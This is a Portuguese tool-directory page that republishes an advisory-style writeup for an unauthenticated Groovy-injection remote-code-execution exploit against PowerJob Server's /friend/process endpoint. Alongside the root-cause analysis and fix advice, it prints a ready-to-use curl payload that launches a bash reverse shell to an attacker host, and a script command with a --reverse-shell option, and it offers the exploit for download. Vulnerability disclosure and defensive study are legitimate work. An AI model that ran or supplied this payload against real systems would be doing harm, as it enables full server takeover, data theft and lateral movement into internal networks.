Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — Exploit de execução remota de código não autenticado para o PowerJob Server via injeção de Groovy no endpoint /friend/process, permitindo execução arbitrária de comandos e shells reversos. | Kitploit
Ferramentas/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoCavalo de Troia de Acesso Remoto
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Exploit de execução remota de código não autenticado para o PowerJob Server via injeção de Groovy no endpoint /friend/process, permitindo execução arbitrária de comandos e shells reversos.

Ver Repositório
há 25 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Execução Remota de Código no PowerJob Server via /friend/process sem Autenticação (Injeção de Groovy)

1. Resumo

O PowerJob Server (framework distribuído de agendamento de jobs / computação) expõe o endpoint /friend/process na sua porta HTTP 10010 da camada de transporte Worker↔Server sem qualquer autenticação. O endpoint reflete um método público arbitrário de um Spring Bean arbitrário; um atacante que invoque GroovyEvaluator.evaluate pode executar expressões Groovy arbitrárias, alcançando execução remota de código sem autenticação. O docker-compose padrão publica esta porta em 0.0.0.0, portanto um servidor pode ser totalmente comprometido sem nenhuma credencial.

2. Produto Afetado

  • Produto: PowerJob (framework distribuído de agendamento de jobs / computação)
  • Versões afetadas: 5.1.2 (o design da camada de transporte foi herdado de versões anteriores; versões mais antigas são igualmente afetadas — reportar 4.x–5.1.2)
  • Repositório de origem: https://github.com/PowerJob/PowerJob
  • Implantação padrão: docker-compose.yml:29-33,47-48 publica 10010 (transporte HTTP), 10086 (AKKA), 10077 (MU) no host 0.0.0.0

3. Localização da Vulnerabilidade

ItemValor
Endpoint de disparoPOST http://<servidor>:10010/friend/process
RegistroFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrado para os três protocolos: HTTP/MU/AKKA)
Execução reflexivaRemoteRequestProcessor.processRemoteRequest()
Sink perigosoGroovyEvaluator.evaluate() → ScriptEngine.eval()
Autenticação ausenteHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registram rotas sem qualquer verificação de token/assinatura

Arquivos de código-fonte principais (relativos à raiz do repositório):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra as rotas da porta 10010, sem autenticação)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Causa Raiz

  1. Autenticação zero na camada de transporte: o PowerJob trata os protocolos de comunicação entre Worker e Server (HTTP/AKKA/MU) como uma zona de "confiança interna". Qualquer host que consiga alcançar as portas 10010/10086/10077 é tratado como um nó legítimo; não há handshake nem assinatura.
  2. Reflexão arbitrária de Beans: RemoteRequestProcessor.processRemoteRequest confia totalmente nos campos className, methodName, parameterTypes e args do corpo da requisição — ele usa Class.forName + SpringUtils.getBean para obter qualquer Spring Bean e então invoca qualquer um dos seus métodos públicos via Spring ReflectionUtils.
  3. Método perigoso acessível: GroovyEvaluator é um bean @Component cujo evaluate(String, Object) chama o motor de scripts Groovy (ScriptEngineManager) para eval() diretamente a expressão do atacante.

A combinação dos três equivale a RCE sem autenticação.

5. Cenário de Ataque (pré-condição: apenas alcance de rede à porta 10010)

  1. O atacante envia um HTTP POST para a porta 10010 do servidor PowerJob (sem necessidade de Cookie/Token).
  2. O corpo da requisição é um JSON RemoteProcessReq que tem como alvo GroovyEvaluator.evaluate com uma expressão Groovy arbitrária (ex.: 'id'.execute().text).
  3. O servidor invoca reflexivamente o método; o motor Groovy avalia a expressão.
  4. O resultado da execução do comando é retornado ao atacante em AskResponse.data (JSON base64).
  5. O atacante também pode usar Groovy para escrever arquivos arbitrários, abrir um shell reverso ou exfiltrar dados.

6. Reprodução (verificada)

Ambiente: JDK 17, powerjob-server-starter-5.1.2.jar compilado a partir do código-fonte (perfil daily), servidor escutando em 192.168.49.128:10010. Reverificado no JDK 21 (o payload em formato shell abaixo funciona em ambos; veja a nota sobre File.write abaixo).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Resposta real: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. A decodificação base64 do campo data produz a saída do comando executado na JVM do servidor:

image

Alternativamente, você pode reproduzir usando o script:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Observado vs Esperado

  • Observado: uma requisição HTTP sem autenticação faz o servidor executar comandos arbitrários.
  • Esperado: /friend/process faz parte da comunicação interna Server↔Worker; ele deveria rejeitar requisições sem autenticação, ou o método não deveria ser remotamente invocável de forma alguma.

8. Impacto

  • Confidencialidade: Alto — leitura de arquivos/memória/credenciais arbitrários no servidor.
  • Integridade: Alto — escrita arbitrária de arquivos, adulteração de configuração e jobs.
  • Disponibilidade: Alto — pode encerrar processos/serviços.
  • Limite do impacto: processo do servidor → host (com os privilégios do usuário do serviço); em uma implantação padrão, o atacante pode pivotar lateralmente para a rede interna do host.

9. Correção Sugerida

  1. Adicionar autenticação mútua Server/Worker (token/assinatura) à camada de transporte e validar a origem; não expor 10010/10086/10077 à internet pública.
  2. Alterar RemoteRequestProcessor para uma lista de permissões: restringir className/methodName a handlers seguros definidos pelo framework e proibir a invocação reflexiva de beans arbitrários.
  3. Remover ou restringir estritamente o alcance remoto de GroovyEvaluator (se precisar permanecer, adicionar autenticação e um sandbox).
  4. Desabilitar /friend/process (S4S_HANDLER_PROCESS) por padrão ou restringi-lo apenas a fontes internas.

10. CWE

  • Primária: CWE-94 (Controle Incorreto da Geração de Código — injeção de Groovy)
  • Secundárias: CWE-470 (Uso de Entrada Controlada Externamente para Selecionar Classes ou Código — reflexão arbitrária de Beans), CWE-306 (Autenticação Ausente para Função Crítica)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Crítico

12. Ambiente

  • SO: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (reprodução original); reverificado no OpenJDK 21.0.11
  • Build: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • Banco de dados: MariaDB 10.6 (não necessário — /friend/process é acionável sem banco de dados)
  • Execução: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Baixar ferramenta